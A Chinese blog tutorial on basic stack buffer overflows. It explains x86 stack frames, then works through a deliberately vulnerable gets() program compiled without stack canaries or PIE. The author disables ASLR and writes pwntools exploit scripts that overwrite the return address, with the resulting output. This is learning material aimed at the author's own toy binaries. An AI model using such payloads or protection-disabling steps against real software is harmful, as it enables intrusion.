栈溢出 hack 入门例子 hello world
栈溢出示例代码:
-
-
-
-
-
-
void Msg() {
-
MessageBoxA(NULL, "嘿嘿!", "堆栈溢出测试", 0);
-
}
-
-
int Add(int a, int b) {
-
int* p = &a;
-
*(p-1) = (int)Msg;
-
return a + b;
-
}
-
-
void main() {
-
printf("%d", Add(1, 2));
-
system("pause");
-
return;
-
}
运行结果:
按下确定以后出现异常:
首先在讲解原理之前首先介绍一些基本知识便于理解原理:
汇编层面的函数调用过程
每个函数的每次调用,都有它自己独立的一个栈帧,这个栈帧中维持着所需要的各种信息。寄存器ebp指向当前的栈帧的底部(高地址),寄存器esp指向当前的栈帧的顶部(低地址)。
下图表示当正在执行FunctonA函数时的栈情况:系统栈可以认为是全部栈空间。栈帧对应每一个函数调用,EBP寄存器存放当前活动栈帧的栈底,ESP寄存器存放当前活动栈帧的栈顶。当前函数可以在当前的栈帧区域内存放局部变量和信息,全局的变量不存放在栈,有专门的区域存放。
下图表示call FunctionB之前做的工作:首先PUSH 函数的参数,从右向左压入,然后保存call FunctionB下一条指令的地址,便于函数返回。这个保存下一条指令地址和跳转到FunctionB处由 call 指令完成。
下图表示创建新的FunctionB的栈帧:首先PUSH EBP 保存旧栈帧的栈底,用于函数返回。然后MOV EBP,ESP,设置当前EBP为旧栈帧栈底的地址处(如下图),最后SUB ESP, 0X0C0H ,ESP向上开辟空间,具体开辟多少根据编译器。到此新的栈帧开辟完了。(题外话:FunctionB可以通过EBP+8 获取到arg0,EBP+12获取到arg1,这就是为什么倒着压入参数的原因。如果FunctionB里面有局部变量,则可以放在EBP和ESP这段栈空间里面。)
下图表示FunctionB函数返回后栈的变化:首先 MOV ESP,EBP POP EBP来还原EBP为旧的栈帧栈底。然后RET 到call FunctionB的下一条指令处(RET 包含POP JMP,所以下一条指令地址恰好被提出),最后ADD ESP,8 ,去掉压入的参数,8是因为压入了2个参数。到此已经还原了原来的环境了。整个调用过程结束了。
现在进入主题,介绍原理:上面的代码核心思想就是改变调用Add(1,2)时,改变返回的地址(就是下一条指令的地址):
修改这个地址内容为Msg()入口地址,这样就会执行Msg()代码。关键时怎么确定这个地址,然后写入Msg()入口地址搞定他。其实我们可以通过Add(int a,int b)的参数a确定下一条地址的地址,如图:获取a变量的地址,然后向上退就可以到下一条指令的地址,如后覆盖为Msg(),入口地址即可。
关键代码解释:
-
int* p = &a;//获取a变量的地址
-
*(p-1) = (int)Msg;//上退覆盖地址为Msg入口地址,这里(p-1)而不是-4是因为p为地址,减一就是减一个字
首先需要补充一下aslr,linux下:
我们可以通过修改 /proc/sys/kernel/randomize_va_space 来控制 ASLR 启动与否,具体的选项有
0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
1,普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
2,增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。
我们可以使用echo 0 > /proc/sys/kernel/randomize_va_space关闭 Linux 系统的 ASLR,类似的,也可以配置相应的参数。
栈溢出原理
最基本的栈溢出原理无非就是通过控制输入, 填充, 覆盖掉ebp, 同时重写返回地址。下面这个例子的最终目的是通过栈溢出,获得shell。
比如:
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
当然我是把很多模式都关掉了
% checksec stack_example
[*] '/home/abc/Desktop/pwn/example/stack_example'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
使用 -fno-stack-protector
和-no-pie
关闭canary
和PIE
IDA拖进去之后主要是看vulnerable
函数
int vulnerable()
{
char s; // [sp+4h] [bp-14h]@1
gets(&s);
return puts(&s);
}
可以知道s
距离 ebp
为0x14h个字节
直接冲掉, 同时把返回地址变成我们想要的(看最上面的例子就知道为何是14了,70-56=14)
.text:08048456 success proc near
.text:08048456
.text:08048456 var_4 = dword ptr -4
.text:08048456
.text:08048456 push ebp
.text:08048457 mov ebp, esp
.text:08048459 push ebx
.text:0804845A sub esp, 4
.text:0804845D call __x86_get_pc_thunk_ax
.text:08048462 add eax, 1B9Eh
.text:08048467 sub esp, 0Ch
.text:0804846A lea edx, (aYouHavaAlready - 804A000h)[eax] ; "You Hava already controlled it."
.text:08048470 push edx ; s
.text:08048471 mov ebx, eax
.text:08048473 call _puts
.text:08048478 add esp, 10h
.text:0804847B nop
.text:0804847C mov ebx, [ebp+var_4]
.text:0804847F leave
.text:08048480 retn
.text:08048480 success endp
返回地址需要变成 0x08048456 ----???为啥是这个???
然后写exp
from pwn import *
context.binary = './stack_example'
if args['DEBUG']:
context.log_level = 'debug'
#context.log_level = 'debug'
p = process('./stack_example')
payload = 'a'*0x14+'bbbb'
payload += p32(0x08048456)
p.sendline(payload)
p.interactive()
结果:
% python exp.py
[*] '/home/abc/Desktop/pwn/example/stack_example'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './stack_example': pid 48512
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaabbbbV\x84\x0
You Hava already controlled it.
[*] Got EOF while reading in interactive
$ whoami
[*] Process './stack_example' stopped with exit code -11 (SIGSEGV) (pid 48512)
[*] Got EOF while sending in interactive
在我的mac docker kali linux环境下运行:
1 2 | cc -fno-stack-protector -no-pie bone.c -o bone gdb bone |
通过汇编查看反汇编码:
(gdb) disas main
Dump of assembler code for function main:
0x000000000040116d <+0>: push %rbp
0x000000000040116e <+1>: mov %rsp,%rbp
0x0000000000401171 <+4>: sub $0x10,%rsp
0x0000000000401175 <+8>: mov %edi,-0x4(%rbp)
0x0000000000401178 <+11>: mov %rsi,-0x10(%rbp)
0x000000000040117c <+15>: mov $0x0,%eax
0x0000000000401181 <+20>: callq 0x401145 <vulnerable>
0x0000000000401186 <+25>: mov $0x0,%eax
0x000000000040118b <+30>: leaveq
0x000000000040118c <+31>: retq
End of assembler dump.
(gdb) disas vulnerable
Dump of assembler code for function vulnerable:
0x0000000000401145 <+0>: push %rbp // 看来我是应该覆盖这个地址
0x0000000000401146 <+1>: mov %rsp,%rbp
0x0000000000401149 <+4>: sub $0x10,%rsp
0x000000000040114d <+8>: lea -0xc(%rbp),%rax
0x0000000000401151 <+12>: mov %rax,%rdi
0x0000000000401154 <+15>: mov $0x0,%eax
0x0000000000401159 <+20>: callq 0x401040 <gets@plt>
0x000000000040115e <+25>: lea -0xc(%rbp),%rax
0x0000000000401162 <+29>: mov %rax,%rdi
0x0000000000401165 <+32>: callq 0x401030 <puts@plt>
0x000000000040116a <+37>: nop
0x000000000040116b <+38>: leaveq
0x000000000040116c <+39>: retq
End of assembler dump.
(gdb) q
于是我的pwn代码编写如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | from pwn import * context.binary = './bone' if args[ 'DEBUG' ]: context.log_level = 'debug' #context.log_level = 'debug' p = process( './bone' ) payload = 'a' *0x14+ 'bbbb' addr = 0x0000000000401145 payload += p64(addr).decode() p.sendline(payload) p.interactive() |
运行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | .. /code/pwn_demo # python3 exp.py [*] '/home/bonelee/shell_coders_handbook/code/pwn_demo/bone' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process './bone' : pid 3931 [*] Switching to interactive mode aaaaaaaaaaaaaaaaaaaabbbbE\x11 [*] Got EOF while reading in interactive $ whoami [*] Process './bone' stopped with exit code -11 (SIGSEGV) (pid 3931) [*] Got EOF while sending in interactive |
虽然是获得了$,但是执行命令没有返回,貌似这个例子不完美。
后面再深入学吧,总算是完成了hello world。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」